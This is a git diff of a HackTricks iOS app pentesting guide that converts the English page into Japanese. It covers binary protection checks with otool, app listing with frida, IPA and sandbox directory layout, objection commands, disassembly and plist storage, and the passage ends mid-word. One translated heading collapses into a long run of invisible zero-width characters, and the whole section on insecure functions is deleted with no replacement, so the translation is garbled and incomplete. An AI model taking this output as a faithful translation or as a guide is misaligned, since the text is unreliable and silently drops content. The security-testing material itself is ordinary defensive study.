HackTricksであなたの会社を宣伝したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたり**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)をご覧ください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、PRを**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** -## iOS Basics +## iOSの基礎 {% content-ref url="ios-basics.md" %} [ios-basics.md](ios-basics.md) {% endcontent-ref %} -## Testing Environment +## テスト環境 -In this page you can find information about the **iOS simulator**, **emulators** and **jailbreaking:** +このページでは、**iOSシミュレータ**、**エミュレータ**、および**ジェイルブレイク**に関する情報を見つけることができます。 {% content-ref url="ios-testing-environment.md" %} [ios-testing-environment.md](ios-testing-environment.md) {% endcontent-ref %} -## Initial Analysis +## 初期分析 -### Basic iOS Testing Operations +### 基本的なiOSテスト操作 -During the testing **several operations are going to be suggested** (connect to the device, read/write/upload/download files, use some tools...). Therefore, if you don't know how to perform any of these actions please, **start reading the page**: +テスト中には、いくつかの操作が提案されます(デバイスへの接続、ファイルの読み書き/アップロード/ダウンロード、一部のツールの使用など)。したがって、これらのアクションのいずれかを実行する方法がわからない場合は、**ページを読み始めてください**: {% content-ref url="basic-ios-testing-operations.md" %} [basic-ios-testing-operations.md](basic-ios-testing-operations.md) {% endcontent-ref %} {% hint style="info" %} -For the following steps **the app should be installed** in the device and should have already obtained the **IPA file** of the application.\ -Read the [Basic iOS Testing Operations](basic-ios-testing-operations.md) page to learn how to do this. +以下の手順では、アプリがデバイスにインストールされており、アプリの**IPAファイル**をすでに取得している必要があります。\ +これを行う方法については、[Basic iOS Testing Operations](basic-ios-testing-operations.md)ページを参照してください。 {% endhint %} -### Basic Static Analysis +### 基本的な静的分析 -It's recommended to use the tool [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) to perform an automatic Static Analysis to the IPA file. +IPAファイルに対して自動的な静的分析を実行するために、ツール[**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF)を使用することをお勧めします。 -Identification of **protections are present in the binary**: +バイナリに存在する**保護の識別**: -* **PIE (Position Independent Executable)**: When enabled, the application loads into a random memory address every-time it launches, making it harder to predict its initial memory address. +* **PIE(Position Independent Executable)**:有効にすると、アプリケーションは起動するたびにランダムなメモリアドレスにロードされるため、初期メモリアドレスを予測するのが困難になります。 - ``` - otool -hv | grep PIE # It should include the PIE flag - ``` -* **Stack Canaries**: To validate the integrity of the stack, a ‘canary’ value is placed on the stack before calling a function and is validated again once the function ends. +``` +otool -hv | grep PIE # PIEフラグを含める必要があります +``` +* **スタックキャナリー**:スタックの整合性を検証するために、関数を呼び出す前にスタックに「キャナリー」値が配置され、関数が終了すると再度検証されます。 - ``` - otool -I -v | grep stack_chk # It should include the symbols: stack_chk_guard and stack_chk_fail - ``` -* **ARC (Automatic Reference Counting)**: To prevent common memory corruption flaws +``` +otool -I -v | grep stack_chk # stack_chk_guardとstack_chk_failのシンボルを含める必要があります +``` +* **ARC(Automatic Reference Counting)**:一般的なメモリ破損の欠陥を防ぐため - ``` - otool -I -v | grep objc_release # It should include the _objc_release symbol - ``` -* **Encrypted Binary**: The binary should be encrypted +``` +otool -I -v | grep objc_release # _objc_releaseシンボルを含める必要があります +``` +* **暗号化されたバイナリ**:バイナリは暗号化されている必要があります - ``` - otool -arch all -Vl | grep -A5 LC_ENCRYPT # The cryptid should be 1 - ``` +``` +otool -arch all -Vl | grep -A5 LC_ENCRYPT # cryptidは1である必要があります +``` -**Identification of Sensitive/Insecure Funcions** +**感​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​​ +### 基本的な動的解析 -* **Weak Hashing Algorithms** +[**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF)が実行する動的解析を確認してください。異なるビューをナビゲートし、それらと対話する必要がありますが、いくつかのクラスをフックして他の操作を行い、完了したらレポートを作成します。 - ``` - # On the iOS device - otool -Iv | grep -w "_CC_MD5" - otool -Iv | grep -w "_CC_SHA1" - - # On linux - grep -iER "_CC_MD5" - grep -iER "_CC_SHA1" - ``` -* **Insecure Random Functions** - - ``` - # On the iOS device - otool -Iv | grep -w "_random" - otool -Iv | grep -w "_srand" - otool -Iv | grep -w "_rand" - - # On linux - grep -iER "_random" - grep -iER "_srand" - grep -iER "_rand" - ``` -* **Insecure ‘Malloc’ Function** - - ``` - # On the iOS device - otool -Iv | grep -w "_malloc" - - # On linux - grep -iER "_malloc" - ``` -* **Insecure and Vulnerable Functions** - - ``` - # On the iOS device - otool -Iv | grep -w "_gets" - otool -Iv | grep -w "_memcpy" - otool -Iv | grep -w "_strncpy" - otool -Iv | grep -w "_strlen" - otool -Iv | grep -w "_vsnprintf" - otool -Iv | grep -w "_sscanf" - otool -Iv | grep -w "_strtok" - otool -Iv | grep -w "_alloca" - otool -Iv | grep -w "_sprintf" - otool -Iv | grep -w "_printf" - otool -Iv | grep -w "_vsprintf" - - # On linux - grep -R "_gets" - grep -iER "_memcpy" - grep -iER "_strncpy" - grep -iER "_strlen" - grep -iER "_vsnprintf" - grep -iER "_sscanf" - grep -iER "_strtok" - grep -iER "_alloca" - grep -iER "_sprintf" - grep -iER "_printf" - grep -iER "_vsprintf" - ``` - -### Basic Dynamic Analysis - -Check out the dynamic analysis that [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) perform. You will need to navigate through the different views and interact with them but it will be hooking several classes on doing other things and will prepare a report once you are done. - -### Listing Installed Apps - -When targeting apps that are installed on the device, you'll first have to figure out the correct bundle identifier of the application you want to analyze. You can use `frida-ps -Uai` to get all apps (`-a`) currently installed (`-i`) on the connected USB device (`-U`): +### インストールされたアプリのリスト表示 +デバイスにインストールされているアプリを対象にする場合、まず分析したいアプリケーションの正しいバンドル識別子を特定する必要があります。`frida-ps -Uai`を使用して、接続されたUSBデバイス(`-U`)に現在インストールされている(`-i`)すべてのアプリ(`-a`)を取得できます。 ```bash $ frida-ps -Uai - PID Name Identifier +PID Name Identifier ---- ------------------- ----------------------------------------- 6847 Calendar com.apple.mobilecal 6815 Mail com.apple.mobilemail - - App Store com.apple.AppStore - - Apple Store com.apple.store.Jolly - - Calculator com.apple.calculator - - Camera com.apple.camera - - iGoat-Swift OWASP.iGoat-Swift +- App Store com.apple.AppStore +- Apple Store com.apple.store.Jolly +- Calculator com.apple.calculator +- Camera com.apple.camera +- iGoat-Swift OWASP.iGoat-Swift ``` +### 基本的な列挙とフック -### Basic Enumeration & Hooking - -Learn how to **enumerate the components of the application** and how to easily **hook methods and classes** with objection: +アプリケーションのコンポーネントを列挙する方法と、簡単にメソッドとクラスをフックする方法を学びましょう。objectionを使用してください。 {% content-ref url="ios-hooking-with-objection.md" %} [ios-hooking-with-objection.md](ios-hooking-with-objection.md) {% endcontent-ref %} -### IPA Structure +### IPAの構造 -`.ipa` files are **zipped** **packages**, so you can change the extension to `.zip` and **decompress** them. A **complete** **packaged** app ready to be installed is commonly referred to as a **Bundle**.\ -After decompressing them you should see `.app` , a zipped archive that contains the rest of the resources. +`.ipa` ファイルは **圧縮されたパッケージ** ですので、拡張子を `.zip` に変更して解凍することができます。インストールする準備ができた **完全なパッケージ化された** アプリは一般的に **バンドル** と呼ばれます。\ +解凍すると、`.app` という名前のファイルが表示され、その他のリソースが含まれた圧縮アーカイブが格納されています。 -* `Info.plist`: A file that contains some of the application specific configurations. -* `_CodeSignature/` contains a plist file with a signature over all files in the bundle. -* `Assets.car`: Another zipped archive that contains assets (icons). -* `Frameworks/` contains the app native libraries as .dylib or .framework files. -* `PlugIns/` may contain app extensions as .appex files (not present in the example). -* [`Core Data`](https://developer.apple.com/documentation/coredata): It is used to save your application’s permanent data for offline use, to cache temporary data, and to add undo functionality to your app on a single device. To sync data across multiple devices in a single iCloud account, Core Data automatically mirrors your schema to a CloudKit container. -* [`PkgInfo`](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): The `PkgInfo` file is an alternate way to specify the type and creator codes of your application or bundle. -* **en.lproj, fr.proj, Base.lproj**: Are the language packs that contains resources for those specific languages, and a default resource in case a language isn' t supported. +* `Info.plist`: アプリケーション固有の設定を含むファイルです。 +* `_CodeSignature/`: バンドル内のすべてのファイルに対する署名を含む plist ファイルが含まれています。 +* `Assets.car`: アイコンなどのアセットが含まれた別の圧縮アーカイブです。 +* `Frameworks/`: .dylib や .framework ファイルとしてのアプリのネイティブライブラリが含まれています。 +* `PlugIns/`: .appex ファイルとしてのアプリの拡張機能が含まれている場合があります(例では表示されません)。 +* [`Core Data`](https://developer.apple.com/documentation/coredata): オフラインでアプリケーションの永続的なデータを保存し、一時的なデータをキャッシュし、アプリケーションの単一のデバイス上でアンドゥ機能を追加するために使用されます。単一の iCloud アカウント内の複数のデバイス間でデータを同期するために、Core Data はスキーマを自動的に CloudKit コンテナにミラーリングします。 +* [`PkgInfo`](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): `PkgInfo` ファイルは、アプリケーションまたはバンドルのタイプと作成者コードを指定する別の方法です。 +* **en.lproj, fr.proj, Base.lproj**: これらは、特定の言語のリソースを含む言語パックであり、言語がサポートされていない場合のデフォルトリソースも含まれています。 -There are multiple ways to define the UI in an iOS application: _storyboard_, _nib_ or _xib_ files. +iOS アプリケーションで UI を定義するための複数の方法があります: _storyboard_, _nib_ または _xib_ ファイルです。 **Info.plist** -The information property list or `Info.plist` is the main source of information for an iOS app. It consists of a structured file containing **key-value** pairs describing essential configuration information about the app. Actually, all bundled executables (app extensions, frameworks and apps) are **expected to have** an `Info.plist` file. You can find all possible keys in the [**Apple Developer Documentation**](https://developer.apple.com/documentation/bundleresources/information\_property\_list?language=objc). +情報プロパティリストまたは `Info.plist` は、iOS アプリの情報の主要なソースです。アプリの重要な設定情報を記述する **キーと値のペア** を含む構造化ファイルで構成されています。実際には、すべてのバンドルされた実行可能ファイル(アプリ拡張、フレームワーク、アプリ)には **`Info.plist` ファイルが必要** です。すべての可能なキーは [**Apple Developer Documentation**](https://developer.apple.com/documentation/bundleresources/information\_property\_list?language=objc) で確認できます。 -The file might be formatted in **XML or binary (bplist)**. You can **convert it to XML** format with one simple command: +ファイルは **XML またはバイナリ (bplist)** の形式でフォーマットされている場合があります。次の単純なコマンドを使用して、XML 形式に変換できます。 -* On macOS with `plutil`, which is a tool that comes natively with macOS 10.2 and above versions (no official online documentation is currently available): +* macOS の場合は、macOS 10.2 以降のバージョンにネイティブで付属しているツールである `plutil` を使用します(公式のオンラインドキュメントは現在利用できません): - ```bash - $ plutil -convert xml1 Info.plist - ``` -* On Linux: +```bash +$ plutil -convert xml1 Info.plist +``` +* Linux の場合: - ```bash - $ apt install libplist-utils - $ plistutil -i Info.plist -o Info_xml.plist - ``` +```bash +$ apt install libplist-utils +$ plistutil -i Info.plist -o Info_xml.plist +``` -Here's a non-exhaustive list of some info and the corresponding keywords that you can easily search for in the `Info.plist` file by just inspecting the file or by using `grep -i Info.plist`: +以下は、`Info.plist` ファイル内で簡単に検索できるいくつかの情報と対応するキーワードの非網羅的なリストです。ファイルを調査するか、`grep -i Info.plist` を使用してください。 -* App permissions Purpose Strings: `UsageDescription` -* Custom URL schemes: `CFBundleURLTypes` -* Exported/imported _custom document types_: `UTExportedTypeDeclarations` / `UTImportedTypeDeclarations` -* App Transport Security (ATS) configuration: `NSAppTransportSecurity` +* アプリの許可目的の文字列: `UsageDescription` +* カスタム URL スキーム: `CFBundleURLTypes` +* エクスポート/インポートされたカスタムドキュメントタイプ: `UTExportedTypeDeclarations` / `UTImportedTypeDeclarations` +* アプリトランスポートセキュリティ(ATS)の設定: `NSAppTransportSecurity` -Please refer to the mentioned chapters to learn more about how to test each of these points. +これらのポイントをテストする方法については、該当する章を参照してください。 -**Data Paths** +**データパス** -On iOS, **system applications can be found in the `/Applications`** directory while **user-installed** apps are available under **`/private/var/containers/`**. However, finding the right folder just by navigating the file system is not a trivial task as **every app gets a random 128-bit UUID** (Universal Unique Identifier) assigned for its directory names. - -In order to easily obtain the installation directory information for user-installed apps you can use **objection's command `env`** will also show you all the directory information of the app: +iOS では、**システムアプリケーションは `/Applications`** ディレクトリにあり、**ユーザーがインストールした** アプリは **`/private/var/containers/`** の下にあります。ただし、ファイルシステムをナビゲートして適切なフォルダを見つけることは簡単なタスクではありません。なぜなら、**すべてのアプリにはランダムな 128 ビット UUID**(ユニバーサルユニーク識別子)が割り当てられ、ディレクトリ名に使用されるからです。 +ユーザーがインストールしたアプリのインストールディレクトリ情報を簡単に取得するために、objection のコマンド `env` を使用することもできます。これにより、アプリのすべてのディレクトリ情報が表示されます。 ```bash OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env @@ -231,55 +164,53 @@ CachesDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8E DocumentDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Documents LibraryDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library ``` +アプリには、2つの主要な場所があります: -As you can see, apps have two main locations: +* **バンドルディレクトリ** (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/`)。 +* **データディレクトリ** (`/var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/`)。 -* The **Bundle** **directory** (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/`). -* The **Data directory** (`/var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/`). +これらのフォルダには、アプリケーションのセキュリティ評価中に詳細に調査する必要がある情報が含まれています(たとえば、保存されたデータの機密情報を分析する場合など)。 -These folders contain information that must be examined closely during application security assessments (for example when analyzing the stored data for sensitive data). - -**Bundle directory:** +**バンドルディレクトリ:** * **AppName.app** - * This is the Application Bundle as seen before in the IPA, it contains essential application data, static content as well as the application's compiled binary. - * This directory is visible to users, but **users can't write to it**. - * Content in this directory is **not backed up**. - * The contents of this folder are used to **validate the code signature**. +* これはIPAで以前に見たアプリケーションバンドルであり、必要なアプリケーションデータ、静的コンテンツ、およびアプリケーションのコンパイルされたバイナリを含んでいます。 +* このディレクトリはユーザーには見えますが、**ユーザーは書き込むことはできません**。 +* このディレクトリの内容は**バックアップされません**。 +* このフォルダの内容は、コードの署名を**検証するために使用**されます。 -**Data directory:** +**データディレクトリ:** * **Documents/** - * Contains all the user-generated data. The application end user initiates the creation of this data. - * Visible to users and **users can write to it**. - * Content in this directory is **backed up**. - * The app can disable paths by setting `NSURLIsExcludedFromBackupKey`. +* ユーザーが生成したすべてのデータが含まれています。このデータの作成はアプリケーションのエンドユーザーによって開始されます。 +* ユーザーに見え、**ユーザーは書き込むことができます**。 +* このディレクトリの内容は**バックアップされます**。 +* アプリは、`NSURLIsExcludedFromBackupKey`を設定することでパスを無効にすることができます。 * **Library/** - * Contains all **files that aren't user-specific**, such as **caches**, **preferences**, **cookies**, and property list (plist) configuration files. - * iOS apps usually use the `Application Support` and `Caches` subdirectories, but the app can create custom subdirectories. +* **ユーザー固有ではないファイル**、つまり**キャッシュ**、**設定**、**クッキー**、およびプロパティリスト(plist)の設定ファイルなどが含まれています。 +* iOSアプリは通常、`Application Support`と`Caches`のサブディレクトリを使用しますが、アプリはカスタムのサブディレクトリを作成することもできます。 * **Library/Caches/** - * Contains **semi-persistent cached files.** - * Invisible to users and **users can't write to it**. - * Content in this directory is **not backed up**. - * The OS may delete this directory's files automatically when the app is not running and storage space is running low. +* **一時的にキャッシュされたファイル**が含まれています。 +* ユーザーには見えず、**ユーザーは書き込むことはできません**。 +* このディレクトリの内容は**バックアップされません**。 +* アプリが実行されていないときやストレージ容量が不足しているときに、OSがこのディレクトリのファイルを自動的に削除する場合があります。 * **Library/Application Support/** - * Contains **persistent** **files** necessary for running the app. - * **Invisible** **to** **users** and users can't write to it. - * Content in this directory is **backed** **up**. - * The app can disable paths by setting `NSURLIsExcludedFromBackupKey`. +* アプリの実行に必要な**永続的なファイル**が含まれています。 +* ユーザーには**見えず**、ユーザーは書き込むことはできません。 +* このディレクトリの内容は**バックアップされます**。 +* アプリは、`NSURLIsExcludedFromBackupKey`を設定することでパスを無効にすることができます。 * **Library/Preferences/** - * Used for storing properties that can **persist even after an application is restarted**. - * Information is saved, unencrypted, inside the application sandbox in a plist file called \[BUNDLE\_ID].plist. - * All the key/value pairs stored using `NSUserDefaults` can be found in this file. +* **アプリケーションが再起動しても永続化される**プロパティの保存に使用されます。 +* 情報は、\[BUNDLE\_ID].plistという名前のplistファイル内に、暗号化されていない状態でアプリケーションのサンドボックス内に保存されます。 +* `NSUserDefaults`を使用して保存されたすべてのキー/値のペアは、このファイル内で見つけることができます。 * **tmp/** - * Use this directory to write **temporary files** that do not need to persist between app launches. - * Contains non-persistent cached files. - * **Invisible** to users. - * Content in this directory is not backed up. - * The OS may delete this directory's files automatically when the app is not running and storage space is running low. - -Let's take a closer look at iGoat-Swift's Application Bundle (.app) directory inside the Bundle directory (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`): +* アプリの起動間に永続化する必要のない**一時ファイル**を書き込むためにこのディレクトリを使用します。 +* 非永続的なキャッシュファイルが含まれています。 +* ユーザーには**見えません**。 +* このディレクトリの内容はバックアップされません。 +* アプリが実行されていないときやストレージ容量が不足しているときに、OSがこのディレクトリのファイルを自動的に削除する場合があります。 +iGoat-Swiftのバンドルディレクトリ(`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`)内のアプリケーションバンドル(.app)ディレクトリを詳しく見てみましょう。 ```bash OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls NSFileType Perms NSFileProtection ... Name @@ -293,37 +224,31 @@ Regular 420 None ... LICENSE.txt Regular 420 None ... Sentinel.txt Regular 420 None ... README.txt ``` +### バイナリリバースエンジニアリング -### Binary Reversing - -Inside the `.app` folder you will find a binary file called ``. This is the file that will be **executed**. You can perform a basic inspection of the binary with the tool **`otool`**: - +`.app` フォルダの中には `` という名前のバイナリファイルがあります。これが**実行**されるファイルです。ツール **`otool`** を使用してバイナリの基本的な検査を行うことができます。 ```bash otool -Vh DVIA-v2 #Check some compilation attributes - magic cputype cpusubtype caps filetype ncmds sizeofcmds flags +magic cputype cpusubtype caps filetype ncmds sizeofcmds flags MH_MAGIC_64 ARM64 ALL 0x00 EXECUTE 65 7112 NOUNDEFS DYLDLINK TWOLEVEL WEAK_DEFINES BINDS_TO_WEAK PIE otool -L DVIA-v2 #Get third party libraries DVIA-v2: - /usr/lib/libc++.1.dylib (compatibility version 1.0.0, current version 400.9.1) - /usr/lib/libsqlite3.dylib (compatibility version 9.0.0, current version 274.6.0) - /usr/lib/libz.1.dylib (compatibility version 1.0.0, current version 1.2.11) - @rpath/Bolts.framework/Bolts (compatibility version 1.0.0, current version 1.0.0) +/usr/lib/libc++.1.dylib (compatibility version 1.0.0, current version 400.9.1) +/usr/lib/libsqlite3.dylib (compatibility version 9.0.0, current version 274.6.0) +/usr/lib/libz.1.dylib (compatibility version 1.0.0, current version 1.2.11) +@rpath/Bolts.framework/Bolts (compatibility version 1.0.0, current version 1.0.0) [...] ``` +**アプリが暗号化されているかどうかを確認する** -**Check if the app is encrypted** - -See if there is any output for: - +次の出力があるかどうかを確認してください: ```bash otool -l | grep -A 4 LC_ENCRYPTION_INFO ``` +**バイナリの逆アセンブル** -**Disassembling the binary** - -Disassemble the text section: - +テキストセクションを逆アセンブルします: ```bash otool -tV DVIA-v2 DVIA-v2: @@ -337,25 +262,21 @@ DVIA-v2: 0000000100004acc adrp x10, 1098 ; 0x10044e000 0000000100004ad0 add x10, x10, #0x268 ``` - -To print the **Objective-C segment** of the sample application one can use: - +サンプルアプリケーションの**Objective-Cセグメント**を表示するには、次のコマンドを使用します: ```bash otool -oV DVIA-v2 DVIA-v2: Contents of (__DATA,__objc_classlist) section 00000001003dd5b8 0x1004423d0 _OBJC_CLASS_$_DDLog - isa 0x1004423a8 _OBJC_METACLASS_$_DDLog - superclass 0x0 _OBJC_CLASS_$_NSObject - cache 0x0 __objc_empty_cache - vtable 0x0 - data 0x1003de748 - flags 0x80 - instanceStart 8 +isa 0x1004423a8 _OBJC_METACLASS_$_DDLog +superclass 0x0 _OBJC_CLASS_$_NSObject +cache 0x0 __objc_empty_cache +vtable 0x0 +data 0x1003de748 +flags 0x80 +instanceStart 8 ``` - -In order to obtain a more compact Objective-C code you can use [**class-dump**](http://stevenygard.com/projects/class-dump/): - +よりコンパクトなObjective-Cコードを取得するためには、[**class-dump**](http://stevenygard.com/projects/class-dump/)を使用することができます。 ```bash class-dump some-app // @@ -367,370 +288,344 @@ class-dump some-app #pragma mark Named Structures struct CGPoint { - double _field1; - double _field2; +double _field1; +double _field2; }; struct CGRect { - struct CGPoint _field1; - struct CGSize _field2; +struct CGPoint _field1; +struct CGSize _field2; }; struct CGSize { - double _field1; - double _field2; +double _field1; +double _field2; }; ``` - -However, the best options to disassemble the binary are: [**Hopper**](https://www.hopperapp.com/download.html?) and [**IDA**](https://www.hex-rays.com/products/ida/support/download\_freeware/). +ただし、バイナリを逆アセンブルするための最良のオプションは、[**Hopper**](https://www.hopperapp.com/download.html?)と[**IDA**](https://www.hex-rays.com/products/ida/support/download\_freeware/)です。 ![](../.gitbook/assets/image%20\(9\)%20\(1\)%20\(2\).png) \ -Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## Data Storage +## データの保存 -To learn about how iOS stores data in the device read this page: +iOSがデバイスにデータを保存する方法については、次のページを参照してください: {% content-ref url="ios-basics.md" %} [ios-basics.md](ios-basics.md) {% endcontent-ref %} {% hint style="warning" %} -The following places to store information should be checked **right after installing the application**, **after checking all the functionalities** of the application and even after **login out from one user and login into a different one**.\ -The goal is to find **unprotected sensitive information** of the application (passwords, tokens), of the current user and of previously logged users. +次の情報の保存場所は、アプリケーションの**インストール直後**、アプリケーションの**すべての機能を確認した後**、さらには**1つのユーザーからログアウトして別のユーザーにログインした後**にチェックする必要があります。\ +目標は、アプリケーション(パスワード、トークン)、現在のユーザー、以前にログインしたユーザーの**保護されていない機密情報**を見つけることです。 {% endhint %} ### Plist -**plist** files are structured XML files that **contains key-value pairs**. It's a way to store persistent data, so sometimes you may find **sensitive information in these files**. It's recommended to check these files after installing the app and after using intensively it to see if new data is written. +**plist**ファイルは、**キーと値のペアを含む**構造化されたXMLファイルです。これは永続的なデータを保存する方法であり、したがって、これらのファイルに**機密情報が含まれている場合があります**。アプリをインストールした後や、アプリを集中的に使用した後にこれらのファイルをチェックして、新しいデータが書き込まれているかどうかを確認することが推奨されます。 -The most common way to persist data in plist files is through the usage of **NSUserDefaults**. This plist file is saved inside the app sandbox in **`Library/Preferences/.plist`** +plistファイルにデータを永続化する最も一般的な方法は、**NSUserDefaults**の使用です。このplistファイルは、**`Library/Preferences/.plist`**にアプリのサンドボックス内に保存されます。 -The [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) class provides a programmatic interface for interacting with the default system. The default system allows an application to customize its behaviour according to **user preferences**. Data saved by `NSUserDefaults` can be viewed in the application bundle. This class stores **data** in a **plist** **file**, but it's meant to be used with small amounts of data. +[`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults)クラスは、デフォルトのシステムとのプログラム的なインターフェースを提供します。デフォルトのシステムにより、アプリケーションは**ユーザーの設定に応じて動作をカスタマイズ**することができます。`NSUserDefaults`に保存されたデータは、アプリケーションバンドルで表示することができます。このクラスはデータをplistファイルに保存しますが、少量のデータと一緒に使用することを意図しています。 -This data cannot be longer accessed directly via a trusted computer, but can be accessed performing a **backup**. +このデータは、信頼できるコンピュータから直接アクセスすることはできませんが、**バックアップ**を実行することでアクセスすることができます。 -You can **dump** the information saved using **`NSUserDefaults`** using objection's `ios nsuserdefaults get` - -To find all the plist of used by the application you can access to `/private/var/mobile/Containers/Data/Application/{APPID}` and run: +`NSUserDefaults`を使用して保存された情報を**ダンプ**するには、objectionの`ios nsuserdefaults get`を使用します。 +アプリケーションが使用するすべてのplistを見つけるには、`/private/var/mobile/Containers/Data/Application/{APPID}`にアクセスして次のコマンドを実行します: ```bash find ./ -name "*.plist" ``` +ファイルは**XMLまたはバイナリ(bplist)**形式でフォーマットされている可能性があります。次の単純なコマンドを使用して、XML形式に変換することができます: -The file might be formatted in **XML or binary (bplist)**. You can **convert it to XML** format with one simple command: +* macOSでは、`plutil`を使用します。これはmacOS 10.2以降のバージョンにネイティブに付属しているツールです(公式のオンラインドキュメントは現在利用できません): -* On macOS with `plutil`, which is a tool that comes natively with macOS 10.2 and above versions (no official online documentation is currently available): +```bash +$ plutil -convert xml1 Info.plist +``` +* Linuxでは: - ```bash - $ plutil -convert xml1 Info.plist - ``` -* On Linux: +```bash +$ apt install libplist-utils +$ plistutil -i Info.plist -o Info_xml.plist +``` +* objectionのセッションで: - ```bash - $ apt install libplist-utils - $ plistutil -i Info.plist -o Info_xml.plist - ``` -* On an objection's session: - - ```bash - ios plist cat /private/var/mobile/Containers/Data/Application/AF1F534B-1B8F-0825-ACB21-C0301AB7E56D/Library/Preferences/com.some.package.app.plist - ``` +```bash +ios plist cat /private/var/mobile/Containers/Data/Application/AF1F534B-1B8F-0825-ACB21-C0301AB7E56D/Library/Preferences/com.some.package.app.plist +``` ### Core Data -[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple\_ref/doc/uid/TP40001075-CH8-SW1) is a framework for managing the model layer of objects in your application. [Core Data can use SQLite as its persistent store](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), but the framework itself is not a database.\ -CoreData does not encrypt it's data by default. However, an additional encryption layer can be added to CoreData. See the [GitHub Repo](https://github.com/project-imas/encrypted-core-data) for more details. +[`Core 